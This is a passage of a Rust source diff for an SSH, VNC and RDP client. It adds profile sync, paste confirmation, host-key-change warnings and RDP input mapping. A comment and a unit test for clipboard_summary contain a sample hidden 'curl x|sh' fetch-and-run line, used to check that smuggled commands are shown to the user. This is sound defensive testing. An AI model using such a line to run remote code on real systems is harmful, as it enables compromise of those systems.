+        if let Some(r) = crate::settings::poll(&mut self.sync_job) {
+            let manual = std::mem::take(&mut self.sync_manual);
+            match r {
+                Ok(rep) => {
+                    if rep.pulled + rep.removed > 0 {
+                        self.s.reload_profiles();
+                        self.s.info(format!("Profile sync: {} updated, {} removed", rep.pulled, rep.removed));
+                    } else if manual {
+                        self.s.success(if rep.pushed { "Profiles synced" } else { "Profiles already in sync" });
+                    }
+                    if rep.skipped > 0 {
+                        self.s.error(format!("Profile sync skipped {} invalid profile(s) from the shared file", rep.skipped));
+                    }
+                }
+                Err(e) if manual => self.s.error(format!("Profile sync failed: {e}")),
+                Err(e) => tracing::warn!(error = %e, "profile sync failed"),
+            }
+        }
+        if self.screenshot.is_some() || self.sync_job.is_some() || self.s.now < self.sync_due {
+            return;
+        }
+        self.sync_due = self.s.now + 600.0;
+        if self.s.prefs.sync_folder.trim().is_empty() {
+            if std::mem::take(&mut self.sync_manual) {
+                self.s.error("Choose a sync folder first");
+            }
+            return;
+        }
+        let svc = self.s.svc.clone();
+        self.sync_job = Some(crate::settings::Job::spawn(ctx, move || svc.sync_profiles().map_err(|e| e.to_string())));
+    }
+
     pub fn toggle_broadcast(&mut self) {
         self.s.broadcast = !self.s.broadcast;
         if !self.s.broadcast {
@@ -761,6 +871,9 @@ impl App {
                 {
                     let mut out = crate::terminal::TermResponse::default();
                     t.paste(&text, &mut out);
+                    if let Some(text) = out.confirm_paste {
+                        self.dialog = Some(Dialog::ConfirmPaste { session: id.into(), text });
+                    }
                     let input = out.input;
                     self.send_input(id, &input);
                 }
@@ -802,7 +915,8 @@ impl App {
                     t.reset();
                 }
             }
-            MenuAction::Copy | MenuAction::SelectAll => {}
+            // Handled inside the terminal view.
+            MenuAction::Copy | MenuAction::SelectAll | MenuAction::PrevPrompt | MenuAction::NextPrompt | MenuAction::CopyOutput => {}
         }
     }
 
@@ -864,7 +978,7 @@ pub fn theme_for(pref: &str) -> ThemeKind {
 /// Recognises auth and host-key failures for the guided error dialog.
 pub fn classify_error(msg: &str) -> Option<(&'static str, &'static str, bool)> {
     let m = msg.to_lowercase();
-    if ["unable to authenticate", "authentication failed", "permission denied", "no supported methods"].iter().any(|p| m.contains(p)) {
+    if nexus_core::sessions::is_auth_error(&m) {
         return Some(("Authentication Failed", "The server rejected the provided credentials. Check username, password, keys, and auth methods.", false));
     }
     if ["host key", "fingerprint"].iter().any(|p| m.contains(p)) {
@@ -878,9 +992,31 @@ impl eframe::App for App {
         self.screenshot.is_none()
     }
 
+    fn raw_input_hook(&mut self, _ctx: &egui::Context, raw: &mut egui::RawInput) {
+        if raw.events.iter().any(|e| matches!(e, egui::Event::WindowFocused(false))) {
+            // winit can miss mouse-up events when macOS hides or minimizes the window.
+            // Release egui's pointer buttons too, so every widget remains interactive on return.
+            let pos = raw.screen_rect.map_or(egui::pos2(-1000.0, -1000.0), |r| r.max + egui::vec2(100.0, 100.0));
+            for button in [egui::PointerButton::Primary, egui::PointerButton::Secondary, egui::PointerButton::Middle] {
+                raw.events.push(egui::Event::PointerButton { pos, button, pressed: false, modifiers: egui::Modifiers::default() });
+            }
+        }
+    }
+
     fn ui(&mut self, ui: &mut Ui, _frame: &mut eframe::Frame) {
         let ctx = ui.ctx().clone();
         let t = Tokens::get(&ctx);
+        // If the window is hidden or minimized during a drag, macOS may not deliver the
+        // matching mouse-up. Clear terminal-side pointer capture on every pane, including
+        // panes that are currently hidden behind another tab.
+        let lost_focus = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::WindowFocused(false))));
+        if lost_focus {
+            for pane in self.s.panes.values_mut() {
+                if let crate::views::View::Terminal(term) = &mut pane.view {
+                    term.cancel_pointer_interaction();
+                }
+            }
+        }
         self.s.now = ctx.input(|i| i.time);
         self.drain_events();
         self.handle_requests();
@@ -888,7 +1024,7 @@ impl eframe::App for App {
         if self.palette.is_none() && self.dialog.is_none() && self.prompts.is_empty() {
             self.shortcuts(&ctx);
         }
-        if ctx.input(|i| i.key_pressed(Key::Escape)) && ctx.input(|i| i.viewport().fullscreen.unwrap_or(false)) && self.palette.is_none() {
+        if crate::chrome::modal_key(&ctx, Key::Escape) && ctx.input(|i| i.viewport().fullscreen.unwrap_or(false)) && self.palette.is_none() {
             ctx.send_viewport_cmd(egui::ViewportCommand::Fullscreen(false));
         }
         self.file_drops(&ctx);
@@ -936,6 +1072,8 @@ impl eframe::App for App {
         egui::CentralPanel::default().frame(egui::Frame::NONE.fill(t.dock)).show(ui, |ui| tabs::workspace(self, ui));
 
         // Floating windows and modals.
+        let prompt_open = !self.prompts.is_empty();
+        ctx.data_mut(|d| d.insert_temp(egui::Id::new("nexus-prompt-open"), prompt_open));
         self.quick.ui(&ctx, &mut self.s);
         self.settings.ui(&ctx, &mut self.s);
         self.keys.ui(&ctx, &mut self.s);
@@ -950,6 +1088,11 @@ impl eframe::App for App {
         chrome::palette(self, &ctx);
         chrome::toasts(self, &ctx);
         self.screenshot(&ctx);
+        self.drive_sync(&ctx);
+        if self.screenshot.is_none() && self.s.prefs.restore_sessions && self.s.now - self.layout_checked > 1.0 {
+            self.layout_checked = self.s.now;
+            crate::restore::save_if_changed(self);
+        }
         chrome::resize_edges(&ctx);
         // Requests raised while drawing are handled on the next frame.
         if !self.s.requests.is_empty() {
@@ -958,3 +1101,22 @@ impl eframe::App for App {
         let _ = ToastKind::Info;
     }
 }
+
+/// How a remote clipboard write is announced: control characters made visible and the line
+/// count stated, so `ls\ncurl … | sh` can't pass for a harmless `ls`.
+fn clipboard_summary(text: &str) -> String {
+    let lines = text.lines().count();
+    let shown: String = text.chars().take(60).flat_map(|c| if c.is_control() { c.escape_debug().collect::<Vec<_>>() } else { vec![c] }).collect();
+    let more = if text.chars().count() > 60 { "…" } else { "" };
+    if lines > 1 { format!("{shown}{more} ({lines} lines)") } else { format!("{shown}{more}") }
+}
+
+#[cfg(test)]
+mod clipboard_tests {
+    #[test]
+    fn remote_clipboard_toast_shows_hidden_lines() {
+        assert_eq!(super::clipboard_summary("ls"), "ls");
+        assert_eq!(super::clipboard_summary("ls\ncurl x|sh\n"), "ls\\ncurl x|sh\\n (2 lines)");
+        assert!(super::clipboard_summary("a\x0fb").contains("\\u{f}"));
+    }
+}

rust/app/src/chrome.rs

@@ -1,3 +1,6 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
 //! Window chrome: custom title bar, status bar, command palette, credential and host-key
 //! prompts, the main window's modal dialogs, toasts and resize edges.
 
@@ -9,6 +12,7 @@ use crate::widgets;
 use egui::{Align2, Color32, Key, Rect, RichText, Sense, Stroke, Ui, ViewportCommand, pos2, vec2};
 use egui_phosphor::regular as icon;
 use nexus_core::models::{Protocol, SessionState};
+use nexus_core::sessions::HostKeyDecision;
 
 pub const LOGO_PNG: &[u8] = include_bytes!("../assets/icon/icon-256.png");
 
@@ -79,7 +83,7 @@ pub fn title_bar(app: &mut App, ui: &mut Ui) {
                 if item(ui, icon::FILE_ARROW_DOWN, "Import ~/.ssh/config", "") {
                     match app.s.svc.import_ssh_config(None, "SSH Config") {
                         Ok(n) => {
-                            app.s.success(format!("Imported {n} host(s) from ~/.ssh/config"));
+                            app.s.success(crate::settings::ssh_import_summary(n));
                             app.s.reload_profiles();
                         }
                         Err(e) => app.s.error(format!("Import failed: {e}")),
@@ -131,7 +135,7 @@ pub fn title_bar(app: &mut App, ui: &mut Ui) {
                     if item(ui, icon::FOLDER_OPEN, "SFTP browser", "")
                         && let Some(f) = focused.clone()
                     {
-                        app.sftp.toggle(&f);
+                        app.s.request(crate::state::Request::Sftp(f));
                     }
                     if item(ui, icon::ARROWS_LEFT_RIGHT, "Port forwards", "")
                         && let Some(f) = focused.clone()
@@ -234,7 +238,7 @@ fn window_controls(ui: &mut Ui, area: Rect) {
         ui.painter().text(r.center(), Align2::CENTER_CENTER, glyph, egui::FontId::proportional(14.0), c);
         if resp.clicked() {
             match k {
-                0 => ctx.send_viewport_cmd(ViewportCommand::Minimized(true)),
+                0 => minimize_window(&ctx),
                 1 => ctx.send_viewport_cmd(ViewportCommand::Maximized(!max)),
                 _ => ctx.send_viewport_cmd(ViewportCommand::Close),
             }
@@ -242,6 +246,19 @@ fn window_controls(ui: &mut Ui, area: Rect) {
     }
 }
 
+/// `ViewportCommand::Minimized(true)` can leave eframe unresponsive after restore on macOS.
+/// Hiding the app follows the normal macOS app lifecycle and avoids that minimize event path.
+fn minimize_window(_ctx: &egui::Context) {
+    #[cfg(target_os = "macos")]
+    {
+        if let Some(mtm) = objc2::MainThreadMarker::new() {
+            objc2_app_kit::NSApplication::sharedApplication(mtm).hide(None);
+        }
+    }
+    #[cfg(not(target_os = "macos"))]
+    _ctx.send_viewport_cmd(ViewportCommand::Minimized(true));
+}
+
 /// Invisible window edges that resize the undecorated window.
 pub fn resize_edges(ctx: &egui::Context) {
     use egui::{CursorIcon, ResizeDirection as D};
@@ -369,13 +386,13 @@ pub fn status_bar(app: &mut App, ui: &mut Ui) {
     });
 }
 
-static LATENCY: std::sync::Mutex<Option<(String, Result<i64, String>)>> = std::sync::Mutex::new(None);
+static LATENCY: parking_lot::Mutex<Option<(String, Result<i64, String>)>> = parking_lot::Mutex::new(None);
 
 /// Pings the active SSH session every 10 s for the status-bar latency.
 fn latency_tick(app: &mut App) {
     let id = app.s.active.clone();
     let ssh = id.as_deref().and_then(|a| app.s.pane(a)).is_some_and(|p| p.info.protocol == Protocol::Ssh);
-    if let Some(r) = LATENCY.lock().unwrap().take() {
+    if let Some(r) = LATENCY.lock().take() {
         app.latency = Some(r);
     }
     let Some(id) = id.filter(|_| ssh) else { return };
@@ -394,7 +411,7 @@ fn latency_tick(app: &mut App) {
     let (svc, ctx) = (app.s.svc.clone(), app.s.ctx.clone());
     std::thread::spawn(move || {
         let r = svc.sessions.ping(&id).map_err(|e| e.to_string());
-        *LATENCY.lock().unwrap() = Some((id, r));
+        *LATENCY.lock() = Some((id, r));
         ctx.request_repaint();
     });
 }
@@ -597,14 +614,14 @@ pub fn palette(app: &mut App, ctx: &egui::Context) {
     let matches: Vec<_> = matches.into_iter().map(|(_, c)| c).collect();
     pal.sel = pal.sel.min(matches.len().saturating_sub(1));
     let mut chosen = None;
-    let mut close = ctx.input(|i| i.key_pressed(Key::Escape));
+    let mut close = crate::chrome::modal_key(ctx, Key::Escape);
     if ctx.input(|i| i.key_pressed(Key::ArrowDown)) {
         pal.sel = (pal.sel + 1).min(matches.len().saturating_sub(1));
     }
     if ctx.input(|i| i.key_pressed(Key::ArrowUp)) {
         pal.sel = pal.sel.saturating_sub(1);
     }
-    if ctx.input(|i| i.key_pressed(Key::Enter)) {
+    if crate::chrome::modal_key(ctx, Key::Enter) {
         chosen = matches.get(pal.sel).map(|m| m.0.clone());
     }
     modal_backdrop(ctx);
@@ -676,6 +693,15 @@ pub fn modal(ctx: &egui::Context, id: &str, width: f32, body: impl FnOnce(&mut U
     });
 }
 
+/// Set each frame while a credential or host-key prompt is on screen.
+const PROMPT_OPEN: &str = "nexus-prompt-open";
+
+/// Enter/Escape for any modal except the prompts: while a prompt is showing it takes those keys,
+/// so one key press can't also confirm or dismiss the dialog underneath.
+pub fn modal_key(ctx: &egui::Context, key: Key) -> bool {
+    !ctx.data(|d| d.get_temp::<bool>(egui::Id::new(PROMPT_OPEN)).unwrap_or(false)) && ctx.input(|i| i.key_pressed(key))
+}
+
 pub fn prompts(app: &mut App, ctx: &egui::Context) {
     let Some(p) = app.prompts.front_mut() else {
         return;
@@ -694,12 +720,12 @@ pub fn prompts(app: &mut App, ctx: &egui::Context) {
                 }
                 ui.add_space(4.0);
                 ui.label(message.as_str());
-                let r = ui.add(egui::TextEdit::singleline(value).password(true).desired_width(f32::INFINITY));
+                let r = ui.add(egui::TextEdit::singleline(&mut **value).password(true).desired_width(f32::INFINITY));
                 r.request_focus();
                 ui.add_space(6.0);
                 ui.horizontal(|ui| {
                     if widgets::primary(ui, icon::CHECK, "OK").clicked() || enter {
-                        let _ = reply.send(std::mem::take(value));
+                        let _ = reply.send(std::mem::take(&mut **value));
                         done = true;
                     }
                     if ui.button("Cancel").clicked() || esc {
@@ -708,8 +734,44 @@ pub fn prompts(app: &mut App, ctx: &egui::Context) {
                 });
             });
         }
-        Prompt::HostKey { host, key_type, fingerprint, reply } => {
-            modal(ctx, "hostkey-prompt", 460.0, |ui| {
+        Prompt::HostKey { host, key_type, fingerprint, stored, reply } => {
+            modal(ctx, "hostkey-prompt", 480.0, |ui| {
+                let mut decide = |d: HostKeyDecision| {
+                    let _ = reply.send(d);
+                    done = true;
+                };
+                match stored {
+                    Some(old) => {
+                        ui.label(RichText::new(format!("{}  Host key changed", icon::SHIELD_WARNING)).font(theme::semibold(15.0)).color(t.danger));
+                        ui.add(
+                            egui::Label::new(format!(
+                                "The key {host} presented does not match the one on record. This happens when a server is reinstalled, but it is also what an interception attack looks like. Only continue if you can confirm the new fingerprint with the server's administrator."
+                            ))
+                            .wrap(),
+                        );
+                        ui.add_space(4.0);
+                        widgets::kv(ui, "hk", &[("Key type", key_type.clone()), ("Stored", old.clone()), ("Received", fingerprint.clone())]);
+                        ui.add_space(6.0);
+                        ui.horizontal(|ui| {
+                            if widgets::primary(ui, icon::X, "Reject").clicked() || esc {
+                                decide(HostKeyDecision::Reject);
+                            }
+                            if ui.button(format!("{}  Accept Once", icon::CHECK)).on_hover_text("Connect this time; keep the stored key unchanged").clicked() {
+                                decide(HostKeyDecision::AcceptOnce);
+                            }
+                            if ui
+                                .add(
+                                    egui::Button::new(RichText::new(format!("{}  Accept & Update", icon::ARROWS_CLOCKWISE)).color(t.accent_text))
+                                        .fill(t.danger),
+                                )
+                                .on_hover_text("Connect and replace the stored key with this one")
+                                .clicked()
+                            {
+                                decide(HostKeyDecision::AcceptAndSave);
+                            }
+                        });
+                    }
+                    None => {
                         ui.label(RichText::new(format!("{}  Verify host key", icon::SHIELD_WARNING)).font(theme::semibold(15.0)));
                         ui.label(format!("The authenticity of {host} can't be established."));
                         ui.add_space(4.0);
@@ -718,14 +780,17 @@ pub fn prompts(app: &mut App, ctx: &egui::Context) {
                         ui.add_space(6.0);
                         ui.horizontal(|ui| {
                             if widgets::primary(ui, icon::CHECK, "Accept & Save").clicked() {
-                        let _ = reply.send(true);
-                        done = true;
+                                decide(HostKeyDecision::AcceptAndSave);
+                            }
+                            if ui.button(format!("{}  Accept Once", icon::CHECK)).on_hover_text("Connect without recording the key").clicked() {
+                                decide(HostKeyDecision::AcceptOnce);
                             }
                             if ui.button("Reject").clicked() || esc {
-                        let _ = reply.send(false);
-                        done = true;
+                                decide(HostKeyDecision::Reject);
                             }
                         });
+                    }
+                }
             });
         }
     }
@@ -741,7 +806,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
         return;
     };
     let t = Tokens::get(ctx);
-    let esc = ctx.input(|i| i.key_pressed(Key::Escape));
+    let esc = crate::chrome::modal_key(ctx, Key::Escape);
     let mut keep = !esc;
     match &mut d {
         Dialog::Reuse { profile, existing } => {
@@ -795,7 +860,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
                 ui.label(format!("{name} is still connected."));
                 ui.add_space(8.0);
                 ui.horizontal(|ui| {
-                    if widgets::primary(ui, icon::X, "Close").clicked() || ctx.input(|i| i.key_pressed(Key::Enter)) {
+                    if widgets::primary(ui, icon::X, "Close").clicked() || crate::chrome::modal_key(ctx, Key::Enter) {
                         let id = session.clone();
                         app.close_session(&id);
                         keep = false;
@@ -829,7 +894,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
                 let r = ui.add(egui::TextEdit::singleline(name).desired_width(f32::INFINITY));
                 r.request_focus();
                 ui.horizontal(|ui| {
-                    if widgets::primary(ui, icon::CHECK, "Rename").clicked() || ctx.input(|i| i.key_pressed(Key::Enter)) {
+                    if widgets::primary(ui, icon::CHECK, "Rename").clicked() || crate::chrome::modal_key(ctx, Key::Enter) {
                         let n = name.trim().to_string();
                         if !n.is_empty() {
                             let _ = app.s.svc.sessions.rename(session, &n);
@@ -880,6 +945,41 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
                 });
             });
         }
+        Dialog::ConfirmPaste { session, text } => {
+            let lines = text.lines().count();
+            // Control characters other than newline/tab act on their own; show them.
+            let preview: String = text
+                .lines()
+                .take(12)
+                .map(|l| l.chars().flat_map(|c| if c.is_control() && c != '\t' { c.escape_debug().collect::<Vec<_>>() } else { vec![c] }).collect::<String>())
+                .collect::<Vec<_>>()
+                .join("\n");
+            modal(ctx, "confirm-paste", 480.0, |ui| {
+                ui.label(RichText::new("Paste multiple lines?").font(theme::semibold(15.0)));
+                widgets::hint(ui, &format!("{lines} line(s) will run as commands as soon as they are pasted:"));
+                egui::ScrollArea::vertical().max_height(220.0).show(ui, |ui| {
+                    ui.add(egui::Label::new(RichText::new(preview).monospace()).wrap());
+                });
+                if lines > 12 {
+                    widgets::hint(ui, &format!("… and {} more", lines - 12));
+                }
+                ui.add_space(6.0);
+                ui.horizontal(|ui| {
+                    if widgets::primary(ui, icon::CHECK, "Paste").clicked() {
+                        if let Some(View::Terminal(t)) = app.s.panes.get_mut(session.as_str()).map(|p| &mut p.view) {
+                            let mut out = crate::terminal::TermResponse::default();
+                            t.paste_now(text, &mut out);
+                            let id = session.clone();
+                            app.send_input(&id, &out.input);
+                        }
+                        keep = false;
+                    }
+                    if ui.button("Cancel").clicked() || crate::chrome::modal_key(ctx, Key::Escape) {
+                        keep = false;
+                    }
+                });
+            });
+        }
         Dialog::Guided { session, title, body, known_hosts } => {
             let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into());
             let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default();
@@ -943,7 +1043,7 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
                 let r = ui.add(egui::TextEdit::singleline(value).desired_width(f32::INFINITY));
                 r.request_focus();
                 ui.horizontal(|ui| {
-                    submit = widgets::primary(ui, icon::CHECK, "OK").clicked() || ctx.input(|i| i.key_pressed(Key::Enter));
+                    submit = widgets::primary(ui, icon::CHECK, "OK").clicked() || crate::chrome::modal_key(ctx, Key::Enter);
                     if ui.button("Cancel").clicked() {
                         keep = false;
                     }
@@ -1024,3 +1124,26 @@ pub fn toasts(app: &mut App, ctx: &egui::Context) {
         app.s.toasts.remove(i);
     }
 }
+
+#[cfg(test)]
+mod modal_key_tests {
+    use super::*;
+
+    #[test]
+    fn an_open_prompt_takes_enter_and_escape() {
+        let ctx = egui::Context::default();
+        let press = |key| egui::RawInput {
+            events: vec![egui::Event::Key { key, physical_key: None, pressed: true, repeat: false, modifiers: Default::default() }],
+            ..Default::default()
+        };
+        for (prompt_open, want) in [(false, true), (true, false)] {
+            let mut got = None;
+            let mut out = ctx.run_ui(press(Key::Enter), |ui| {
+                ui.ctx().data_mut(|d| d.insert_temp(egui::Id::new(PROMPT_OPEN), prompt_open));
+                got = Some(modal_key(ui.ctx(), Key::Enter));
+            });
+            out.textures_delta.clear();
+            assert_eq!(got, Some(want), "prompt open: {prompt_open}");
+        }
+    }
+}

rust/app/src/desktop_view.rs

@@ -1,14 +1,19 @@
-//! VNC viewer: the remote framebuffer as a texture, with mouse, keyboard and clipboard input.
-//! Toolbar after the web build's `vnc.js` (status, Ctrl+Alt+Del, clipboard), plus refresh and a
-//! scale toggle.
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright (C) 2026 Andy Dixon
+
+//! Remote desktop viewer for VNC and RDP: the remote framebuffer as a texture, with mouse,
+//! keyboard and clipboard input. Input is expressed in X keysyms and VNC pointer masks (VNC's own
+//! terms); `Remote` translates them for RDP. Toolbar after the web build's `vnc.js` (status,
+//! Ctrl+Alt+Del, clipboard), plus refresh and a scale toggle.
 
 use crate::state::Shared;
 use crate::theme::{self, Tokens};
 use crate::widgets;
 use egui::{Event, Key, Modifiers, Pos2, Rect, RichText, Sense, TextureHandle, Ui, vec2};
 use egui_phosphor::regular as icon;
+use nexus_core::clients::rdp::{self, MouseButton, MousePosition, Operation, Scancode, WheelRotations};
 use nexus_core::clients::vnc::{self, keysym_for};
-use nexus_core::models::Profile;
+use nexus_core::models::{Profile, Protocol};
 use std::sync::Arc;
 
 const XK_SHIFT: u32 = 0xffe1;
@@ -19,12 +24,121 @@ const XK_DELETE: u32 = 0xffff;
 /// Wheel distance (points) per remote scroll notch for pixel-precise wheels.
 const NOTCH: f32 = 40.0;
 
-pub struct VncView {
+/// The connected client a view drives.
+#[derive(Clone)]
+enum Remote {
+    Vnc(Arc<vnc::Client>),
+    Rdp(Arc<rdp::Client>),
+}
+
+impl Remote {
+    fn framebuffer(&self) -> Arc<parking_lot::Mutex<vnc::Framebuffer>> {
+        match self {
+            Remote::Vnc(c) => c.framebuffer(),
+            Remote::Rdp(c) => c.framebuffer(),
+        }
+    }
+
+    /// `held` is the modifier keysyms down on the remote side (for RDP shortcuts).
+    fn key(&self, sym: u32, down: bool, held: &[u32]) {
+        match self {
+            Remote::Vnc(c) => {
+                let _ = c.key(sym, down);
+            }
+            Remote::Rdp(c) => {
+                if let Some(op) = rdp_key(sym, down, held.iter().any(|&k| matches!(k, XK_CONTROL | XK_ALT | XK_SUPER))) {
+                    c.input(vec![op]);
+                }
+            }
+        }
+    }
+
+    /// Bits 0–2 left, middle, right; 3/4 a wheel notch up/down (VNC's pointer mask).
+    fn pointer(&self, x: u16, y: u16, mask: u8) {
+        match self {
+            Remote::Vnc(c) => {
+                let _ = c.pointer(x, y, mask);
+            }
+            Remote::Rdp(c) => {
+                let mut ops = vec![Operation::MouseMove(MousePosition { x, y })];
+                for (bit, b) in [(0, MouseButton::Left), (1, MouseButton::Middle), (2, MouseButton::Right)] {
+                    ops.push(if mask & 1 << bit != 0 { Operation::MouseButtonPressed(b) } else { Operation::MouseButtonReleased(b) });
+                }
+                for (bit, units) in [(3, 120), (4, -120)] {
+                    if mask & 1 << bit != 0 {
+                        ops.push(Operation::WheelRotations(WheelRotations { is_vertical: true, rotation_units: units }));
+                    }
+                }
+                c.input(ops);
+            }
+        }
+    }
+}
+
+/// An X keysym as an RDP key operation: named keys (and letters/digits pressed with Ctrl, Alt or
+/// Win, so shortcuts work) as US-layout scancodes, everything else as a Unicode key.
+fn rdp_key(sym: u32, down: bool, chord: bool) -> Option<Operation> {
+    let sc = |ext: bool, code: u8| {
+        Some(if down { Operation::KeyPressed(Scancode::from_u8(ext, code)) } else { Operation::KeyReleased(Scancode::from_u8(ext, code)) })
+    };
+    let named = match sym {
+        0xff1b => (false, 0x01),
+        0xff08 => (false, 0x0e),
+        0xff09 => (false, 0x0f),
+        0xff0d => (false, 0x1c),
+        0xffe1 => (false, 0x2a),
+        0xffe2 => (false, 0x36),
+        0xffe3 => (false, 0x1d),
+        0xffe4 => (true, 0x1d),
+        0xffe9 => (false, 0x38),
+        0xffea | 0xfe03 => (true, 0x38),
+        0xffeb => (true, 0x5b),
+        0xffec => (true, 0x5c),
+        0xffe5 => (false, 0x3a),
+        0xff50 => (true, 0x47),
+        0xff51 => (true, 0x4b),
+        0xff52 => (true, 0x48),
+        0xff53 => (true, 0x4d),
+        0xff54 => (true, 0x50),
+        0xff55 => (true, 0x49),
+        0xff56 => (true, 0x51),
+        0xff57 => (true, 0x4f),
+        0xff63 => (true, 0x52),
+        0xffff => (true, 0x53),
+        f @ 0xffbe..=0xffc7 => (false, 0x3b + (f - 0xffbe) as u8),
+        0xffc8 => (false, 0x57),
+        0xffc9 => (false, 0x58),
+        _ => (false, 0),
+    };
+    if named.1 != 0 {
+        return sc(named.0, named.1);
+    }
+    let ch = char::from_u32(if sym >= 0x0100_0000 { sym - 0x0100_0000 } else { sym })?;
+    if chord {
+        const LETTERS: &[u8; 26] = b"\x1e\x30\x2e\x20\x12\x21\x22\x23\x17\x24\x25\x26\x32\x31\x18\x19\x10\x13\x1f\x14\x16\x2f\x11\x2d\x15\x2c";
+        let lower = ch.to_ascii_lowercase();
+        match lower {
+            'a'..='z' => return sc(false, LETTERS[(lower as u8 - b'a') as usize]),
+            '1'..='9' => return sc(false, lower as u8 - b'1' + 0x02),
+            '0' => return sc(false, 0x0b),
+            ' ' => return sc(false, 0x39),
+            _ => {}
+        }
+    }
+    Some(if down { Operation::UnicodeKeyPressed(ch) } else { Operation::UnicodeKeyReleased(ch) })
+}
+
+pub struct DesktopView {
     pub session: String,
+    protocol: Protocol,
     view_only: bool,
     scale_to_fit: bool,
+    /// RDP: ask the server to match the tab's size.
+    dynamic_resolution: bool,
+    /// Last tab size reported (pixels) and when it changed, for debounced RDP resizes.
+    reported: ([u32; 2], [u32; 2], f64),
     ready: bool,
-    client: Option<Arc<vnc::Client>>,
+    client: Option<Remote>,
     texture: Option<TextureHandle>,
     fb_size: [usize; 2],
     name: String,
@@ -105,13 +219,20 @@ fn to_remote(p: Pos2, img: Rect, fb: [usize; 2]) -> (u16, u16) {
     (x as u16, y as u16)
 }
 
-impl VncView {
-    pub fn new(session: &str, profile: &Profile) -> VncView {
-        let cfg = profile.vnc.clone().unwrap_or_default();
-        VncView {
+impl DesktopView {
+    pub fn new(session: &str, profile: &Profile) -> DesktopView {
+        let (view_only, scale_to_fit, dynamic_resolution) = match (&profile.vnc, &profile.rdp) {
+            (Some(v), _) if profile.protocol == Protocol::Vnc => (v.view_only, v.scale_to_fit, false),
+            (_, Some(r)) => (false, r.scale_to_fit, r.dynamic_resolution && r.width == 0),
+            _ => (false, true, false),
+        };
+        DesktopView {
             session: session.into(),
-            view_only: cfg.view_only,
-            scale_to_fit: cfg.scale_to_fit,
+            protocol: profile.protocol,
+            view_only,
+            scale_to_fit,
+            dynamic_resolution,
+            reported: ([0, 0], [0, 0], 0.0),
             ready: false,
             client: None,
             texture: None,
@@ -125,7 +246,7 @@ impl VncView {
         }
     }
 
-    /// Called on `Event::VncReady` (the client is connected; fetch it via `s.svc.sessions.vnc(id)`).
+    /// Called on `Event::DesktopReady` (the client is connected; the view fetches it next frame).
     pub fn on_ready(&mut self) {
         self.ready = true;
         self.client = None;
@@ -133,7 +254,7 @@ impl VncView {
 
     fn key(&self, sym: u32, down: bool) {
         if let Some(c) = &self.client {
-            let _ = c.key(sym, down);
+            c.key(sym, down, &self.held);
         }
     }
 
@@ -161,23 +282,52 @@ impl VncView {
         if self.buttons != 0
             && let Some(c) = &self.client
         {
-            let _ = c.pointer(self.last_pos.0, self.last_pos.1, 0);
+            c.pointer(self.last_pos.0, self.last_pos.1, 0);
         }
         self.buttons = 0;
     }
 
+    /// Makes `text` the remote desktop's clipboard contents.
     fn paste(&self, s: &mut Shared, text: &str) {
-        if let Some(c) = &self.client
-            && let Err(e) = c.send_clipboard(text)
-        {
+        match &self.client {
+            Some(Remote::Vnc(c)) => {
+                if let Err(e) = c.send_clipboard(text) {
                     s.error(format!("Clipboard: {e}"));
                 }
             }
+            Some(Remote::Rdp(c)) => c.set_clipboard(text.to_string()),
+            None => {}
+        }
+    }
+
+    /// RDP with dynamic resolution: report the tab's pixel size once it has settled.
+    fn report_size(&mut self, ui: &Ui, s: &Shared, area: Rect) {
+        if self.protocol != Protocol::Rdp || !self.dynamic_resolution {
+            return;
+        }
+        let ppp = ui.ctx().pixels_per_point();
+        let size = [(area.width() * ppp) as u32 & !1, (area.height() * ppp) as u32];
+        let now = ui.input(|i| i.time);
+        if size != self.reported.1 {
+            self.reported.1 = size;
+            self.reported.2 = now;
+        }
+        // ponytail: 0.4 s debounce; each resize is a server-side desktop reconfiguration.
+        if size != self.reported.0 && now - self.reported.2 > 0.4 && size[0] >= 200 && size[1] >= 200 {
+            self.reported.0 = size;
+            let _ = s.svc.sessions.resize(&self.session, size[0].min(8192) as u16, size[1].min(8192) as u16);
+        } else if size != self.reported.0 {
+            ui.ctx().request_repaint_after(std::time::Duration::from_millis(450));
+        }
+    }
 
     pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
         if self.ready && self.client.is_none() {
-            self.client = s.svc.sessions.vnc(&self.session).ok();
-            if let Some(c) = &self.client {
+            self.client = match self.protocol {
+                Protocol::Rdp => s.svc.sessions.rdp(&self.session).ok().map(Remote::Rdp),
+                _ => s.svc.sessions.vnc(&self.session).ok().map(Remote::Vnc),
+            };
+            if let Some(Remote::Vnc(c)) = &self.client {
                 self.name = c.desktop_name();
             }
         }
@@ -186,6 +336,7 @@ impl VncView {
 
         let t = Tokens::get(ui.ctx());
         let area = ui.available_rect_before_wrap();
+        self.report_size(ui, s, area);
         ui.painter().rect_filled(area, 0.0, t.canvas);
         let Some(tex) = self.texture.clone().filter(|_| self.ready) else {
             ui.allocate_rect(area, Sense::hover());
@@ -206,7 +357,7 @@ impl VncView {
             self.draw(ui, s, &tex, img);
         } else {
             let mut c = ui.new_child(egui::UiBuilder::new().max_rect(area));
-            egui::ScrollArea::both().id_salt(("vnc", &self.session)).auto_shrink([false, false]).show(&mut c, |ui| {
+            egui::ScrollArea::both().id_salt(("desktop", &self.session)).auto_shrink([false, false]).show(&mut c, |ui| {
                 let (img, _) = ui.allocate_exact_size(size, Sense::hover());
                 self.draw(ui, s, &tex, img);
             });
@@ -218,7 +369,7 @@ impl VncView {
     fn upload(&mut self, ui: &Ui) {
         let Some(c) = &self.client else { return };
         let fb = c.framebuffer();
-        let mut fb = fb.lock().unwrap_or_else(|e| e.into_inner());
+        let mut fb = fb.lock();
         if !fb.dirty || fb.width == 0 || fb.height == 0 {
             return;
         }
@@ -230,7 +381,7 @@ impl VncView {
         self.fb_size = size;
         match &mut self.texture {
             Some(t) => t.set(img, egui::TextureOptions::LINEAR),
-            None => self.texture = Some(ui.ctx().load_texture(format!("vnc-{}", self.session), img, egui::TextureOptions::LINEAR)),
